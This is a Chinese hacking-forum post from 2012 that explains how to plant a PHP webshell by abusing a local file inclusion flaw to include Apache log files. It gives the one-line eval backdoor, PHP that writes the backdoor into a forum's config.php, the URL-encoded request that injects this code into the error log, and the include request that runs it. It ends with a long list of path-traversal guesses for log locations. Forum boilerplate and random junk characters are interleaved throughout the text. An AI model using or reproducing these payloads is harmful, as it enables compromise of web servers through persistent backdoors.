找回密码
 立即注册
查看: 2487|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
9 g1 }3 P+ k9 m4 Z0 @
4 s# W9 `- a  {* u6 x7 |" o比如还是这句一句话木马
- C% ]+ @9 N! C' g1 X<?eval($_POST[cmd]);?>   
  G) m4 @4 O1 P& q/ f9 P; X% @) [2 s* {" Z
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
; H" j7 f) P* K* S; @4 N1 jfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 4 `" [' V9 ^: w
* k; y  W+ b: x/ e' o
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); ; Q# B2 k5 \8 y$ `* z2 b% L
fclose($fp);?>   //在config.php里写入一句木马语句
# m# i# u9 c" T
1 C/ z6 D+ k4 n; l% W0 |0 [我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
/ T+ l6 P1 \# F. l转换为
" C$ @# v) h' [# q- b! ?%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F : B8 i* g! z8 k1 f; \
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
9 J- X+ ^2 u( A, [+ s7 W  u%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B 6 U5 @( r  A& m. L6 |! B3 {1 v5 P
fclose%28%24fp%29%3B%3F%3E ; |( y3 f, \2 A% f4 F# r% [2 A2 }2 P
我们提交 0 ~- }' U% g' n/ i( P$ I9 D
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
% m+ V8 d$ u2 n% Z) [%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp ( h6 f8 X: R! r- w. @7 y
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
2 a, m% `$ e' o  i$ q" u! U% C5 ucmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E + z4 n$ s& e: Y( F- @& [

: r$ I; o; S) e. u7 k这样就错误日志里就记录下了这行写入webshell的代码。 : @/ e; ]; k" t- P/ P2 s* a; Q  x
我们再来包含日志,提交
9 P: u4 J) s+ K7 h6 Xhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
; `7 s! z& ]" h3 r2 |* B+ R
& _! K. ]  |( E0 w& N) }这样webshell就写入成功了,config.php里就写入一句木马语句
+ ~5 S% |$ c! M: NOK.   d; z& P6 S/ c& A2 t
http://www.xxx.com/forum/config.php这个就成了我们的webshell
: y, [  c/ \+ O直接用lanker的客户端一连,主机就是你的了。 : P! @$ O: h9 c# @6 H) w8 u6 R& @; T
* K, T1 n. n9 ~# U7 e
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
& \- A  T" i+ |$ B
1 t& p" _" E# v  E" U: z其他的日志路径,你可以去猜,也可以参照这里。 & Y9 |5 E* u' s- E: w: \1 z, H+ u
../../../../../../../../../../var/log/httpd/access_log ! q: N; F, {1 L2 b8 O- k
../../../../../../../../../../var/log/httpd/error_log
2 x: @3 o" }  [: o../apache/logs/error.log
$ l, \+ C4 J. ]$ D../apache/logs/access.log # O: Q7 y+ _( \' M! }
../../apache/logs/error.log
+ J# q- L; S- N../../apache/logs/access.log . }0 T8 Z- L  \, L% W) t! o
../../../apache/logs/error.log ; S+ c9 c7 {+ S! d" L
../../../apache/logs/access.log 5 C. O5 b7 H6 d2 m5 ?7 I+ \
../../../../../../../../../../etc/httpd/logs/acces_log
# g/ X) r/ Q1 c7 D; F5 M../../../../../../../../../../etc/httpd/logs/acces.log * k6 E2 A, b6 W. i1 v
../../../../../../../../../../etc/httpd/logs/error_log - ~+ f+ H' S1 F8 N
../../../../../../../../../../etc/httpd/logs/error.log : _) i: F/ k, X6 ~! I- }" R
../../../../../../../../../../var/www/logs/access_log
" L0 N9 l9 R+ j6 V* c4 e../../../../../../../../../../var/www/logs/access.log
, l6 F/ B7 u" d$ h+ |. ?* S../../../../../../../../../../usr/local/apache/logs/access_log
) \9 a* G% h2 h$ B5 x../../../../../../../../../../usr/local/apache/logs/access.log 2 b# x  h% Z4 U2 a  i" ?7 W
../../../../../../../../../../var/log/apache/access_log . ]1 _( f$ ?% [" J; r. X; o$ F9 f4 e
../../../../../../../../../../var/log/apache/access.log
% c; E  D' Q+ t5 a../../../../../../../../../../var/log/access_log 2 A/ D8 A! ~$ @8 x! e
../../../../../../../../../../var/www/logs/error_log 5 Y2 ]. `$ E) O3 t# S5 f
../../../../../../../../../../var/www/logs/error.log
- q$ X# F' o% w2 o* _, N" v. j../../../../../../../../../../usr/local/apache/logs/error_log - ]# V& Q) e" i
../../../../../../../../../../usr/local/apache/logs/error.log
$ C" H2 e& q0 A- i2 D0 r7 n../../../../../../../../../../var/log/apache/error_log " V7 ^8 g) p* ^: X+ C
../../../../../../../../../../var/log/apache/error.log % p* U- @$ ~3 S5 K1 X3 Z
../../../../../../../../../../var/log/access_log ) d% Z/ h1 b4 Q& e# S9 F# V
../../../../../../../../../../var/log/error_log
- ]. l  k5 G# x, @6 t) D5 J7 K' O/var/log/httpd/access_log      
: F+ Q: Y  F8 s" ?( U" j/var/log/httpd/error_log     ; O4 S: T" x6 C4 ^( Q% T! G
../apache/logs/error.log     
" `1 `; p' F2 Z0 _, Y$ ~../apache/logs/access.log 1 m& y0 B  k4 B  R) L( A% e; ^, ^
../../apache/logs/error.log 7 u; V9 o" n5 z6 _4 l: F$ ]
../../apache/logs/access.log * n6 e3 b/ \, h5 a; k
../../../apache/logs/error.log
) W2 A2 W  F3 m" G' u) M9 [4 D../../../apache/logs/access.log % c! }( u% k, {
/etc/httpd/logs/acces_log 7 d4 B$ g; l; m) T+ F
/etc/httpd/logs/acces.log $ _$ j2 [9 V4 q8 b  I6 L# _
/etc/httpd/logs/error_log
% f6 b" v" A4 d% \+ [; R/etc/httpd/logs/error.log & W8 ^- F. `& u5 |! q
/var/www/logs/access_log
* Q5 O3 U/ u/ E: I  p; l/var/www/logs/access.log 2 x9 _6 Q- T2 U: [' [
/usr/local/apache/logs/access_log
1 c+ ?" T$ w- Y) J* c/usr/local/apache/logs/access.log   H7 ]* X9 a  D! B
/var/log/apache/access_log
, P( L' V9 f8 H0 R9 O. W4 v/var/log/apache/access.log
  s3 q. ^% h! K% }7 P/var/log/access_log 7 a, U" z; }' j4 \( W9 Q
/var/www/logs/error_log 3 p- l7 N0 d  f" p0 s
/var/www/logs/error.log
) d& e! R: L* A4 O; e% ]* K/usr/local/apache/logs/error_log : x, U1 ^5 h% W
/usr/local/apache/logs/error.log 2 y3 j1 n$ D0 s: y
/var/log/apache/error_log 9 o; \; C. W0 r: i6 F% W8 V9 U
/var/log/apache/error.log 3 k5 \* I- x1 w
/var/log/access_log
9 @. w+ G0 s: E$ g0 z8 n/ u: v/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表